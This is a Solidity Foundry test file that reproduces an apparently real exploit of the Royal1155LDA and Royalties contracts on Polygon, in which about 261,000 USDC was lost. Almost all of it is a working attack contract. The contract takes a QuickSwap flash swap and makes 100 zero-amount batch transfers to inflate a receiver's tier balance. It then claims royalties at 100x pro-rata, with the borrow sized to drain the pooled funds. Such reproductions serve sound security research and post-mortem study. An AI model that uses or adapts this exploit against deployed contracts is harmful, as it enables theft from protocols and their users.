src/test/2026-06/RoyalRoyalties_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "../basetest.sol";
5import "../interface.sol";
6 
7// @KeyInfo - Total Lost : 261,162.93 USDC
8// Attacker : 0xbd829aa63311bb1e3c0ea58a7193364de670bd56
9// Attack Contract : 0x11ca9155aedfeb6772df5ea42ff714db7fba6adb
10// Vulnerable Contract : 0xd5b297c08d890376b6cbdba6023a39ffbdf65c78
11// Attack Tx : https://polygonscan.com/tx/0x7a92106f145045b7a2bdce60a22109739f9b0cd0185bf16ff83fd1fac98cb42e
12 
13// @Info
14// Vulnerable Contract Code : https://polygonscan.com/address/0xd5b297c08d890376b6cbdba6023a39ffbdf65c78#code
15// Royalty Contract Code : https://polygonscan.com/address/0x1e0598614d9168a657cb57bd038dfd71812c9074#code
16 
17// @Analysis
18// Twitter Guy : https://x.com/TenArmorAlert/status/2069596801725002121
19//
20// Root Cause : Royal1155LDA updates custom per-tier balance bookkeeping for every ERC1155 batch
21// item even when `amounts[i] == 0`. With owned-token backfill incomplete, a zero-balance sender can
22// batch-transfer 100 zero-amount tier-42 LDAs to a fresh receiver. The Royalties contract then reads
23// the receiver's inflated `tierBalanceOf` as 100 while tier supply is 1, so one deposit is claimed
24// at 100x pro-rata ownership.
25 
26address constant USDC_TOKEN = 0x2791Bca1f2de4661ED88A30C99A7a9449Aa84174;
27address constant QUICKSWAP_WMATIC_USDC_PAIR = 0x6e7a5FAFcec6BB1e78bAE2A1F0B612012BF14827;
28address constant ROYAL_LDA_PROXY = 0x7c885c4bFd179fb59f1056FBea319D579A278075;
29address constant ROYALTIES_PROXY = 0xfE16Ee78828672e86cf8E42d8A5119AB79877EC7;
30 
31uint128 constant TIER_ID = 42;
32uint256 constant ZERO_AMOUNT_TRANSFERS = 100;
33uint256 constant TRACE_LDA_TOKEN_NUMBER = 424_242;
34 
35interface IRoyal1155LDA {
36    function safeBatchTransferFrom(
37        address from,
38        address to,
39        uint256[] calldata ids,
40        uint256[] calldata amounts,
41        bytes calldata data
42    ) external;
43 
44    function tierBalanceOf(
45        uint128 tierId,
46        address owner
47    ) external view returns (uint256);
48    function getTierTotalSupply(
49        uint128 tierId
50    ) external view returns (uint256);
51    function getIsOwnedTokensBackfillComplete() external view returns (bool);
52}
53 
54interface IRoyalties {
55    function deposit(
56        address depositor,
57        uint128 tierId,
58        uint256 amount
59    ) external;
60    function claim(
61        address claimer,
62        uint128[] calldata tierIds,
63        address recipient
64    ) external returns (uint256[] memory);
65}
66 
67contract ContractTest is BaseTestWithBalanceLog {
68    RoyalRoyaltiesAttacker private attackContract;
69 
70    function setUp() public {
71        uint256 forkBlock = 89_018_050;
72        vm.createSelectFork("polygon", forkBlock);
73 
74        attackContract = new RoyalRoyaltiesAttacker();
75 
76        fundingToken = USDC_TOKEN;
77        attacker = address(attackContract);
78 
79        vm.label(USDC_TOKEN, "USDC");
80        vm.label(QUICKSWAP_WMATIC_USDC_PAIR, "QuickSwap WMATIC/USDC Pair");
81        vm.label(ROYAL_LDA_PROXY, "Royal1155LDA Proxy");
82        vm.label(ROYALTIES_PROXY, "Royalties Proxy");
83        vm.label(address(attackContract), "Local attacker helper");
84    }
85 
86    function testExploit() public balanceLog {
87        assertEq(IRoyal1155LDA(ROYAL_LDA_PROXY).getTierTotalSupply(TIER_ID), 1);
88        assertFalse(IRoyal1155LDA(ROYAL_LDA_PROXY).getIsOwnedTokensBackfillComplete());
89 
90        uint256 beforeBalance = IERC20(USDC_TOKEN).balanceOf(address(attackContract));
91        uint256 profit = attackContract.execute();
92        uint256 afterBalance = IERC20(USDC_TOKEN).balanceOf(address(attackContract));
93 
94        assertEq(afterBalance - beforeBalance, profit);
95        assertGt(profit, 260_000e6);
96    }
97}
98 
99contract RoyalRoyaltiesAttacker {
100    RoyalClaimReceiver private claimReceiver;
101 
102    function execute() external returns (uint256 profit) {
103        uint256 balanceBefore = IERC20(USDC_TOKEN).balanceOf(address(this));
104        uint256 borrowAmount = _deriveBorrowAmount();
105 
106        IUniswapV2Pair(QUICKSWAP_WMATIC_USDC_PAIR).swap(0, borrowAmount, address(this), abi.encode(borrowAmount));
107 
108        profit = IERC20(USDC_TOKEN).balanceOf(address(this)) - balanceBefore;
109    }
110 
111    function uniswapV2Call(
112        address sender,
113        uint256 amount0,
114        uint256 amount1,
115        bytes calldata data
116    ) external {
117        require(msg.sender == QUICKSWAP_WMATIC_USDC_PAIR, "unexpected pair");
118        require(sender == address(this), "unexpected sender");
119        require(amount0 == 0, "unexpected token0 borrow");
120 
121        uint256 borrowAmount = abi.decode(data, (uint256));
122        require(amount1 == borrowAmount, "unexpected USDC borrow");
123 
124        // step 1: zero-amount batch items still call the royalty hook and increment LDA tier balance.
125        claimReceiver = new RoyalClaimReceiver();
126        _inflateReceiverTierBalance(address(claimReceiver));
127        assert(IRoyal1155LDA(ROYAL_LDA_PROXY).tierBalanceOf(TIER_ID, address(claimReceiver)) == ZERO_AMOUNT_TRANSFERS);
128 
129        // step 2: make the trace-sized royalty deposit from the flash-borrowed USDC.
130        IERC20(USDC_TOKEN).approve(ROYALTIES_PROXY, borrowAmount);
131        IRoyalties(ROYALTIES_PROXY).deposit(address(this), TIER_ID, borrowAmount);
132 
133        // step 3: claim through the receiver, whose apparent tier ownership is now 100 / supply(1).
134        uint256 claimed = claimReceiver.claim(ROYALTIES_PROXY, TIER_ID, address(this));
135        assert(claimed == borrowAmount * ZERO_AMOUNT_TRANSFERS);
136 
137        // step 4: repay the QuickSwap V2 flash swap fee observed in the trace.
138        uint256 repayAmount = (borrowAmount * 1000) / 997 + 1;
139        IERC20(USDC_TOKEN).transfer(QUICKSWAP_WMATIC_USDC_PAIR, repayAmount);
140    }
141 
142    function _inflateReceiverTierBalance(
143        address receiver
144    ) private {
145        uint256[] memory ids = new uint256[](ZERO_AMOUNT_TRANSFERS);
146        uint256[] memory amounts = new uint256[](ZERO_AMOUNT_TRANSFERS);
147        uint256 ldaId = _composeLdaId(TIER_ID, TRACE_LDA_TOKEN_NUMBER);
148 
149        for (uint256 i; i < ZERO_AMOUNT_TRANSFERS; ++i) {
150            ids[i] = ldaId;
151            amounts[i] = 0;
152        }
153 
154        IRoyal1155LDA(ROYAL_LDA_PROXY).safeBatchTransferFrom(address(this), receiver, ids, amounts, "");
155    }
156 
157    function _deriveBorrowAmount() private view returns (uint256) {
158        uint256 royaltyFloat = IERC20(USDC_TOKEN).balanceOf(ROYALTIES_PROXY);
159 
160        // The claim is borrowAmount * 100 while the contract balance after deposit is royaltyFloat + borrowAmount.
161        // Dividing by 99 gives the maximum borrow that leaves the 100x claim funded by pre-existing royalties.
162        return royaltyFloat / (ZERO_AMOUNT_TRANSFERS - 1);
163    }
164 
165    function _composeLdaId(
166        uint128 tierId,
167        uint256 tokenNumber
168    ) private pure returns (uint256) {
169        return (uint256(tierId) << 128) | tokenNumber;
170    }
171}
172 
173contract RoyalClaimReceiver {
174    function claim(
175        address royalties,
176        uint128 tierId,
177        address recipient
178    ) external returns (uint256) {
179        uint128[] memory tierIds = new uint128[](1);
180        tierIds[0] = tierId;
181 
182        uint256[] memory claimed = IRoyalties(royalties).claim(address(this), tierIds, recipient);
183        return claimed[0];
184    }
185 
186    function onERC1155BatchReceived(
187        address,
188        address,
189        uint256[] calldata,
190        uint256[] calldata,
191        bytes calldata
192    ) external pure returns (bytes4) {
193        return this.onERC1155BatchReceived.selector;
194    }
195}